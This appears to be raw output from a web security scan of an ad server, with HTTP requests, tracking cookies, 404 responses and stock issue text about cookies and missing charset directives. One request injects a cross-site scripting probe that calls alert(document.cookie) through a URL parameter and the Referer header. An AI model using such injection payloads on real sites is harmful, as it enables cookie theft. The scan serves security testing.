GET /h.click/atmNYDUVn54FTpmHuqXTew3tnCSVBC2mBZapWitVWJcXr3dYFYf1TEOSFUCUUB0TdMXmFBxPFjqXqZbm5TJh5q7XnTBIXFU7UdFXmPfJmVjqmH3L3qZbh3dIN5PJZbmbvZd0GvQ1VYX0VFynEv23bMWWFMBWAUXPqbQ3UQGvC5voK/ HTTP/1.1 Host: a.tribalfusion.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: ANON_ID=a8nCGVw5EABCYAtRiklfg7ZdwC3yDFXRkhhrUF4qg3L3sZaUqOhZaZbriw2WPLmjhHlQa1esZad0jks9r5evcfWCKHXN6ygaUM0hM7TDZbu7CY4wy78PaZbTGPb7eIpCLDkYjrD5aptZb67wPMULu6v0W1mFnjwVDNvC6KyuZagfdstZaTfoaXyMLOAnZcYEC1NoRZdIZdCkh8ZaH4vwDhMYdiklQyrg17ZadsS3pZbJSCH2cH8BxBeWBKpgVWW299pILw1WvixDGuy5ueYZcYcnUZckKvnZaSIBnhGag5uwmFhABpnlSiMcRhCsepIj62LaXCxZaiZcDipNKhuKgsExQ16B9y31RhZbj4XxIdZa6BI4DgsPSRJqN0WkRoGaHZbIyeLiyZcs057ZcPZbZdNCM6JR1QBP6T8Ma5MC8Cjl7ZcaB3V1bUllZbZbTlswMnyRFsDUuQm4LZa5m7ZacKFDP345FH1E7sR42bZcivkJaVgpgZdZcVIRUZbA1cT5anNPmLdKsZbBi7vLvKv5nSwGuSyCLeMix0MAXVCk9yZbtfuewiRpSHJRcMYhyZd5lgYDbkcZdiMJcfFXQjZa15;
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /h.click/atmNYDUVn54FTpmHuqXTew3tnCSVBC2mBZapWitVWJcXr3dYFYf1TEOSFUCUUB0TdMXmFBxPFjqXqZbm5TJh5q7XnTBIXFU7UdFXmPfJmVjqmH3L3qZbh3dIN5PJZbmbvZd0GvQ1VYX0VFynEv23bMWWFMBWAUXPqbQ3UQGvC5voK/http:/pixel.quantserve.com/r HTTP/1.1 Host: a.tribalfusion.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: ANON_ID=a8nCGVw5EABCYAtRiklfg7ZdwC3yDFXRkhhrUF4qg3L3sZaUqOhZaZbriw2WPLmjhHlQa1esZad0jks9r5evcfWCKHXN6ygaUM0hM7TDZbu7CY4wy78PaZbTGPb7eIpCLDkYjrD5aptZb67wPMULu6v0W1mFnjwVDNvC6KyuZagfdstZaTfoaXyMLOAnZcYEC1NoRZdIZdCkh8ZaH4vwDhMYdiklQyrg17ZadsS3pZbJSCH2cH8BxBeWBKpgVWW299pILw1WvixDGuy5ueYZcYcnUZckKvnZaSIBnhGag5uwmFhABpnlSiMcRhCsepIj62LaXCxZaiZcDipNKhuKgsExQ16B9y31RhZbj4XxIdZa6BI4DgsPSRJqN0WkRoGaHZbIyeLiyZcs057ZcPZbZdNCM6JR1QBP6T8Ma5MC8Cjl7ZcaB3V1bUllZbZbTlswMnyRFsDUuQm4LZa5m7ZacKFDP345FH1E7sR42bZcivkJaVgpgZdZcVIRUZbA1cT5anNPmLdKsZbBi7vLvKv5nSwGuSyCLeMix0MAXVCk9yZbtfuewiRpSHJRcMYhyZd5lgYDbkcZdiMJcfFXQjZa15;
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /i.cid?c=246673&d=30&page=landingPage HTTP/1.1 Host: a.tribalfusion.com Proxy-Connection: keep-alive Referer: http://fls.doubleclick.net/activityi;src=1361549;type=landi756;cat=zipco403;ord=1;num=3596418555825.9487? Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: ANON_ID=arn7TwNZaiMt6memCmGwxrdUs3tYbQRKAXpu2WGR5OjVZdBuEFn93sv7X8ZalwCuq7F0QFYFP3dkBSfkBxAXNnEbfxVOGZbsNxBYCqwmLZbm12GZcXljw7f3HikS9n1bWalbfCPvRr5pHFJ2IiiqvUj8gL5UKMojsRtkyGv3iLgZdLhJWNtFwIaQqSDUhJXcolRQQftgBRpZbqFL3j1LmZaRLgOPqeE7bMdTEIGxtZdfM5WI7wWtsmYZaJOJkAibgqRMFJEdwIqaWU9WeZd8ntA03ww6cnyXOZbrqhfFE1rXFZdZb7tIQT1LDwroLnCrSBFdeNZb3ZbqSUdhKTLyZaa4ZcFGHeZbVThMfN8pnAYOeBZbsKVSfraRuvG30PErMalZa5
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /j.ad?site=nydailynewscom&adSpace=ros&tagKey=1282868635&th=24526296851&tKey=aVmn6ySVfC4AvEpWInUWZbPudZbi90&size=728x90&p=4068932&a=1&flashVer=10&ver=1.20¢er=1&url=http%3A%2F%2Fwww.nydailynews.com%2Fblogs70f75'%253balert(document.cookie)%2F%2F84f766b9c15%2Fjets%2F2011%2F01%2Flive-chat-friday-noon-1&rurl=http%3A%2F%2Fburp%2Fshow%2F4&f=0&rnd=4069925 HTTP/1.1 Host: a.tribalfusion.com Proxy-Connection: keep-alive Referer: http://www.nydailynews.com/blogs70f75'%3balert(document.cookie)//84f766b9c15/jets/2011/01/live-chat-friday-noon-1 Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: ANON_ID=aEn51LRZdySO6IUMsYExOjh1oBlrc7bJ8Za02ysiMOWruOZbe8aQHWTJ8WFv9mbElFFCFAwmoSrGk5x451A6bOHntMcsnInNDGLCwrScLQLMZaZb1Ncmcf7K20KbT57np199FZaw0mLWCH3AI5YJ0Wu36N55DyVPRBluxr7Bd5gBBXYkqRUe9UmE3CjxKLRFZcGvULfwumB2EKIn6QgbjSZcpCQcvO7WyZcQFe5mtDTRxdQZcIKWq8vfRhb6rjYSsPAM4QAsdVAed20A8B7YI0bHtTZatU7uo6f2JsWE7JrIZcnCEDooMfNC2sNZavfrtdRR9acdOQurFTy82SWn4nUGHFJMcjNnQ7dfKlmsY
If a web response states that it contains HTML content but does not specify a character set, then the browser may analyse the HTML and attempt to determine which character set it appears to be using. Even if the majority of the HTML actually employs a standard character set such as UTF-8, the presence of non-standard characters anywhere in the response may cause the browser to interpret the content using a different character set. This can have unexpected results, and can lead to cross-site scripting vulnerabilities in which non-standard encodings like UTF-7 can be used to bypass the application's defensive filters.
In most cases, the absence of a charset directive does not constitute a security flaw, particularly if the response contains static content. You should review the contents of the response and the context in which it appears to determine whether any vulnerability exists.
Issue remediation
For every response containing HTML content, the application should include within the Content-type header a directive specifying a standard recognised character set, for example charset=ISO-8859-1.
GET /j.ad HTTP/1.1 Host: a.tribalfusion.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: ANON_ID=a8nCGVw5EABCYAtRiklfg7ZdwC3yDFXRkhhrUF4qg3L3sZaUqOhZaZbriw2WPLmjhHlQa1esZad0jks9r5evcfWCKHXN6ygaUM0hM7TDZbu7CY4wy78PaZbTGPb7eIpCLDkYjrD5aptZb67wPMULu6v0W1mFnjwVDNvC6KyuZagfdstZaTfoaXyMLOAnZcYEC1NoRZdIZdCkh8ZaH4vwDhMYdiklQyrg17ZadsS3pZbJSCH2cH8BxBeWBKpgVWW299pILw1WvixDGuy5ueYZcYcnUZckKvnZaSIBnhGag5uwmFhABpnlSiMcRhCsepIj62LaXCxZaiZcDipNKhuKgsExQ16B9y31RhZbj4XxIdZa6BI4DgsPSRJqN0WkRoGaHZbIyeLiyZcs057ZcPZbZdNCM6JR1QBP6T8Ma5MC8Cjl7ZcaB3V1bUllZbZbTlswMnyRFsDUuQm4LZa5m7ZacKFDP345FH1E7sR42bZcivkJaVgpgZdZcVIRUZbA1cT5anNPmLdKsZbBi7vLvKv5nSwGuSyCLeMix0MAXVCk9yZbtfuewiRpSHJRcMYhyZd5lgYDbkcZdiMJcfFXQjZa15;
Response
HTTP/1.1 404 Not Found X-Function: 409 X-Reuse-Index: 1 Content-Type: text/html Content-Length: 140 Connection: Close
<html><head><title>404 Not Found</title></head> <body><h1>404 Not Found </h1>The requested url was not found on this server. </body></html>
GET /p.media/aEmN7EorFxPUMrXEYO5qUj5aY2nqbG1r38TtJSoAnZanVUpoWfB3Trj3tam5PvZcnb3LYVv0Ys321snMmTfP2rFVWFZbZcVm74PTU0ScUMQtjs0dvrTmvp2cY10UUZdTATn46Zb6PPnB3HUm1tYAptAy5Pn04GMdUcUjUb7YqqZccED/2413746/ad-cache.html/ HTTP/1.1 Host: a.tribalfusion.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: ANON_ID=a8nCGVw5EABCYAtRiklfg7ZdwC3yDFXRkhhrUF4qg3L3sZaUqOhZaZbriw2WPLmjhHlQa1esZad0jks9r5evcfWCKHXN6ygaUM0hM7TDZbu7CY4wy78PaZbTGPb7eIpCLDkYjrD5aptZb67wPMULu6v0W1mFnjwVDNvC6KyuZagfdstZaTfoaXyMLOAnZcYEC1NoRZdIZdCkh8ZaH4vwDhMYdiklQyrg17ZadsS3pZbJSCH2cH8BxBeWBKpgVWW299pILw1WvixDGuy5ueYZcYcnUZckKvnZaSIBnhGag5uwmFhABpnlSiMcRhCsepIj62LaXCxZaiZcDipNKhuKgsExQ16B9y31RhZbj4XxIdZa6BI4DgsPSRJqN0WkRoGaHZbIyeLiyZcs057ZcPZbZdNCM6JR1QBP6T8Ma5MC8Cjl7ZcaB3V1bUllZbZbTlswMnyRFsDUuQm4LZa5m7ZacKFDP345FH1E7sR42bZcivkJaVgpgZdZcVIRUZbA1cT5anNPmLdKsZbBi7vLvKv5nSwGuSyCLeMix0MAXVCk9yZbtfuewiRpSHJRcMYhyZd5lgYDbkcZdiMJcfFXQjZa15;
Response
HTTP/1.1 404 Not Found X-Function: 413 X-Reuse-Index: 1 Content-Type: text/html Content-Length: 140 Connection: Close
<html><head><title>404 Not Found</title></head> <body><h1>404 Not Found </h1>The requested url was not found on this server. </body></html>
GET /p.media/aEmN7EorFxPUMrXEYO5qUj5aY2nqbG1r38TtJSoAnZanVUpoWfB3Trj3tam5PvZcnb3LYVv0Ys321snMmTfP2rFVWFZbZcVm74PTU0ScUMQtjs0dvrTmvp2cY10UUZdTATn46Zb6PPnB3HUm1tYAptAy5Pn04GMdUcUjUb7YqqZccED/2413746/ad.html/ HTTP/1.1 Host: a.tribalfusion.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: ANON_ID=a8nCGVw5EABCYAtRiklfg7ZdwC3yDFXRkhhrUF4qg3L3sZaUqOhZaZbriw2WPLmjhHlQa1esZad0jks9r5evcfWCKHXN6ygaUM0hM7TDZbu7CY4wy78PaZbTGPb7eIpCLDkYjrD5aptZb67wPMULu6v0W1mFnjwVDNvC6KyuZagfdstZaTfoaXyMLOAnZcYEC1NoRZdIZdCkh8ZaH4vwDhMYdiklQyrg17ZadsS3pZbJSCH2cH8BxBeWBKpgVWW299pILw1WvixDGuy5ueYZcYcnUZckKvnZaSIBnhGag5uwmFhABpnlSiMcRhCsepIj62LaXCxZaiZcDipNKhuKgsExQ16B9y31RhZbj4XxIdZa6BI4DgsPSRJqN0WkRoGaHZbIyeLiyZcs057ZcPZbZdNCM6JR1QBP6T8Ma5MC8Cjl7ZcaB3V1bUllZbZbTlswMnyRFsDUuQm4LZa5m7ZacKFDP345FH1E7sR42bZcivkJaVgpgZdZcVIRUZbA1cT5anNPmLdKsZbBi7vLvKv5nSwGuSyCLeMix0MAXVCk9yZbtfuewiRpSHJRcMYhyZd5lgYDbkcZdiMJcfFXQjZa15;
Response
HTTP/1.1 404 Not Found X-Function: 413 X-Reuse-Index: 1 Content-Type: text/html Content-Length: 140 Connection: Close
<html><head><title>404 Not Found</title></head> <body><h1>404 Not Found </h1>The requested url was not found on this server. </body></html>
GET /p.media/aPmN7E0qyp2djEPGfZd4PJZcpd6oUtJb0b7bXbjeXaimRrMEUFB1Vdn1mrFrPFrsYTMp4EFa4qvQnqjBYbYbUdMRnAUBms7moWYC5EU73tIM4PvLpbvEXVnT1c300sBwnavV3bJWWUfBV6vTRTv5QVMNPHFu0tbuT9vIod4OTE/2413746/ad-cache.html/ HTTP/1.1 Host: a.tribalfusion.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: ANON_ID=ahngURm5abw6yuoZbUfT4fqUDUD2sYQZdDZaWW5gcyxDyPZavxFaFVwPjCxqed38T6fqg6FLfVUSwNqICgoRmBXnHiAq9ZcS0BZaVihw22E0xs1PodZbnMcta9SY0g8MClDKjZcsMHytYQ4dxK0ZbIabI7D37Za1xZaS8gafiZacV6DntAj3ZbHHbmmnB4K6nnAI53IZaj44LMerpZdtZaATdejJZbrFZcxbCdqLPaqpPnUSUOvusZckYNaUlZbAZd13LYq0XNkZaALQPuyuqyE9Qnf0dsrmIUmZcnAWwyKCv0CYL8Zb010VvSPKDuH8ruSHXCovdK5pZbKPbbZckIOHeUQiPuO1SgcPN8vQ6wZb9B0jBswZcaaDUhSTwoguVXFgVcERQ6i1uVhI8EZdDbWxKBJKZaCZdQZaBNfFXDIpWfCp8bvsDO8rsnsKj1OF58C3ZbrQj0TKDY2ReHZc0u36I5jeCTtCSL3C0dLlwpvNq4dnuG;
Response
HTTP/1.1 404 Not Found X-Function: 413 X-Reuse-Index: 1 Content-Type: text/html Content-Length: 140 Connection: Close
<html><head><title>404 Not Found</title></head> <body><h1>404 Not Found </h1>The requested url was not found on this server. </body></html>
GET /p.media/aPmN7E0qyp2djEPGfZd4PJZcpd6oUtJb0b7bXbjeXaimRrMEUFB1Vdn1mrFrPFrsYTMp4EFa4qvQnqjBYbYbUdMRnAUBms7moWYC5EU73tIM4PvLpbvEXVnT1c300sBwnavV3bJWWUfBV6vTRTv5QVMNPHFu0tbuT9vIod4OTE/2413746/ad.html/ HTTP/1.1 Host: a.tribalfusion.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: ANON_ID=ahngURm5abw6yuoZbUfT4fqUDUD2sYQZdDZaWW5gcyxDyPZavxFaFVwPjCxqed38T6fqg6FLfVUSwNqICgoRmBXnHiAq9ZcS0BZaVihw22E0xs1PodZbnMcta9SY0g8MClDKjZcsMHytYQ4dxK0ZbIabI7D37Za1xZaS8gafiZacV6DntAj3ZbHHbmmnB4K6nnAI53IZaj44LMerpZdtZaATdejJZbrFZcxbCdqLPaqpPnUSUOvusZckYNaUlZbAZd13LYq0XNkZaALQPuyuqyE9Qnf0dsrmIUmZcnAWwyKCv0CYL8Zb010VvSPKDuH8ruSHXCovdK5pZbKPbbZckIOHeUQiPuO1SgcPN8vQ6wZb9B0jBswZcaaDUhSTwoguVXFgVcERQ6i1uVhI8EZdDbWxKBJKZaCZdQZaBNfFXDIpWfCp8bvsDO8rsnsKj1OF58C3ZbrQj0TKDY2ReHZc0u36I5jeCTtCSL3C0dLlwpvNq4dnuG;
Response
HTTP/1.1 404 Not Found X-Function: 413 X-Reuse-Index: 1 Content-Type: text/html Content-Length: 140 Connection: Close
<html><head><title>404 Not Found</title></head> <body><h1>404 Not Found </h1>The requested url was not found on this server. </body></html>
GET /p.media/aVmN7ESG7Za4mBZapdEOTtQ8YbQ6XrBjXaysSUMGWUY4VdM4mbQpPFZboYEQo5EUi4qY3nEjIYbZbgTdf1m6vZbnc7mpHUJ2qZbh3dAr3A7Gnr3HYVfW1sYV0V7OpT7R3bMWVrnGWmj5QTM4PGUMSdJx1HJxWPrN3s3U0VQuoc5ZbBE/2413746/ad-cache.html/ HTTP/1.1 Host: a.tribalfusion.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: ANON_ID=ahngURm5abw6yuoZbUfT4fqUDUD2sYQZdDZaWW5gcyxDyPZavxFaFVwPjCxqed38T6fqg6FLfVUSwNqICgoRmBXnHiAq9ZcS0BZaVihw22E0xs1PodZbnMcta9SY0g8MClDKjZcsMHytYQ4dxK0ZbIabI7D37Za1xZaS8gafiZacV6DntAj3ZbHHbmmnB4K6nnAI53IZaj44LMerpZdtZaATdejJZbrFZcxbCdqLPaqpPnUSUOvusZckYNaUlZbAZd13LYq0XNkZaALQPuyuqyE9Qnf0dsrmIUmZcnAWwyKCv0CYL8Zb010VvSPKDuH8ruSHXCovdK5pZbKPbbZckIOHeUQiPuO1SgcPN8vQ6wZb9B0jBswZcaaDUhSTwoguVXFgVcERQ6i1uVhI8EZdDbWxKBJKZaCZdQZaBNfFXDIpWfCp8bvsDO8rsnsKj1OF58C3ZbrQj0TKDY2ReHZc0u36I5jeCTtCSL3C0dLlwpvNq4dnuG;
Response
HTTP/1.1 404 Not Found X-Function: 413 X-Reuse-Index: 1 Content-Type: text/html Content-Length: 140 Connection: Close
<html><head><title>404 Not Found</title></head> <body><h1>404 Not Found </h1>The requested url was not found on this server. </body></html>
GET /p.media/aVmN7ESG7Za4mBZapdEOTtQ8YbQ6XrBjXaysSUMGWUY4VdM4mbQpPFZboYEQo5EUi4qY3nEjIYbZbgTdf1m6vZbnc7mpHUJ2qZbh3dAr3A7Gnr3HYVfW1sYV0V7OpT7R3bMWVrnGWmj5QTM4PGUMSdJx1HJxWPrN3s3U0VQuoc5ZbBE/2413746/ad.html/ HTTP/1.1 Host: a.tribalfusion.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: ANON_ID=ahngURm5abw6yuoZbUfT4fqUDUD2sYQZdDZaWW5gcyxDyPZavxFaFVwPjCxqed38T6fqg6FLfVUSwNqICgoRmBXnHiAq9ZcS0BZaVihw22E0xs1PodZbnMcta9SY0g8MClDKjZcsMHytYQ4dxK0ZbIabI7D37Za1xZaS8gafiZacV6DntAj3ZbHHbmmnB4K6nnAI53IZaj44LMerpZdtZaATdejJZbrFZcxbCdqLPaqpPnUSUOvusZckYNaUlZbAZd13LYq0XNkZaALQPuyuqyE9Qnf0dsrmIUmZcnAWwyKCv0CYL8Zb010VvSPKDuH8ruSHXCovdK5pZbKPbbZckIOHeUQiPuO1SgcPN8vQ6wZb9B0jBswZcaaDUhSTwoguVXFgVcERQ6i1uVhI8EZdDbWxKBJKZaCZdQZaBNfFXDIpWfCp8bvsDO8rsnsKj1OF58C3ZbrQj0TKDY2ReHZc0u36I5jeCTtCSL3C0dLlwpvNq4dnuG;
Response
HTTP/1.1 404 Not Found X-Function: 413 X-Reuse-Index: 1 Content-Type: text/html Content-Length: 140 Connection: Close
<html><head><title>404 Not Found</title></head> <body><h1>404 Not Found </h1>The requested url was not found on this server. </body></html>
GET /p.media/akmN7EWUUSVtB2nrZbuPrrtXEMo4qZbg2afYnaJD1rZbaUWJQmPfJnVYsoHQC2EZbf3dIn4PfGnbMHYcURXsMU0svxmTF42bFVVUBFUAvTPE3RPsZbmSdJr1d7sT6MO2Gv4XbZbLTA6n5AUdQAbK4HQn0dnDmWZaO463Y3rnQqqU3Fp/2413746/ad-cache.html/ HTTP/1.1 Host: a.tribalfusion.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: ANON_ID=ahngURm5abw6yuoZbUfT4fqUDUD2sYQZdDZaWW5gcyxDyPZavxFaFVwPjCxqed38T6fqg6FLfVUSwNqICgoRmBXnHiAq9ZcS0BZaVihw22E0xs1PodZbnMcta9SY0g8MClDKjZcsMHytYQ4dxK0ZbIabI7D37Za1xZaS8gafiZacV6DntAj3ZbHHbmmnB4K6nnAI53IZaj44LMerpZdtZaATdejJZbrFZcxbCdqLPaqpPnUSUOvusZckYNaUlZbAZd13LYq0XNkZaALQPuyuqyE9Qnf0dsrmIUmZcnAWwyKCv0CYL8Zb010VvSPKDuH8ruSHXCovdK5pZbKPbbZckIOHeUQiPuO1SgcPN8vQ6wZb9B0jBswZcaaDUhSTwoguVXFgVcERQ6i1uVhI8EZdDbWxKBJKZaCZdQZaBNfFXDIpWfCp8bvsDO8rsnsKj1OF58C3ZbrQj0TKDY2ReHZc0u36I5jeCTtCSL3C0dLlwpvNq4dnuG;
Response
HTTP/1.1 404 Not Found X-Function: 413 X-Reuse-Index: 1 Content-Type: text/html Content-Length: 140 Connection: Close
<html><head><title>404 Not Found</title></head> <body><h1>404 Not Found </h1>The requested url was not found on this server. </body></html>
GET /p.media/akmN7EWUUSVtB2nrZbuPrrtXEMo4qZbg2afYnaJD1rZbaUWJQmPfJnVYsoHQC2EZbf3dIn4PfGnbMHYcURXsMU0svxmTF42bFVVUBFUAvTPE3RPsZbmSdJr1d7sT6MO2Gv4XbZbLTA6n5AUdQAbK4HQn0dnDmWZaO463Y3rnQqqU3Fp/2413746/ad.html/ HTTP/1.1 Host: a.tribalfusion.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: ANON_ID=ahngURm5abw6yuoZbUfT4fqUDUD2sYQZdDZaWW5gcyxDyPZavxFaFVwPjCxqed38T6fqg6FLfVUSwNqICgoRmBXnHiAq9ZcS0BZaVihw22E0xs1PodZbnMcta9SY0g8MClDKjZcsMHytYQ4dxK0ZbIabI7D37Za1xZaS8gafiZacV6DntAj3ZbHHbmmnB4K6nnAI53IZaj44LMerpZdtZaATdejJZbrFZcxbCdqLPaqpPnUSUOvusZckYNaUlZbAZd13LYq0XNkZaALQPuyuqyE9Qnf0dsrmIUmZcnAWwyKCv0CYL8Zb010VvSPKDuH8ruSHXCovdK5pZbKPbbZckIOHeUQiPuO1SgcPN8vQ6wZb9B0jBswZcaaDUhSTwoguVXFgVcERQ6i1uVhI8EZdDbWxKBJKZaCZdQZaBNfFXDIpWfCp8bvsDO8rsnsKj1OF58C3ZbrQj0TKDY2ReHZc0u36I5jeCTtCSL3C0dLlwpvNq4dnuG;
Response
HTTP/1.1 404 Not Found X-Function: 413 X-Reuse-Index: 1 Content-Type: text/html Content-Length: 140 Connection: Close
<html><head><title>404 Not Found</title></head> <body><h1>404 Not Found </h1>The requested url was not found on this server. </body></html>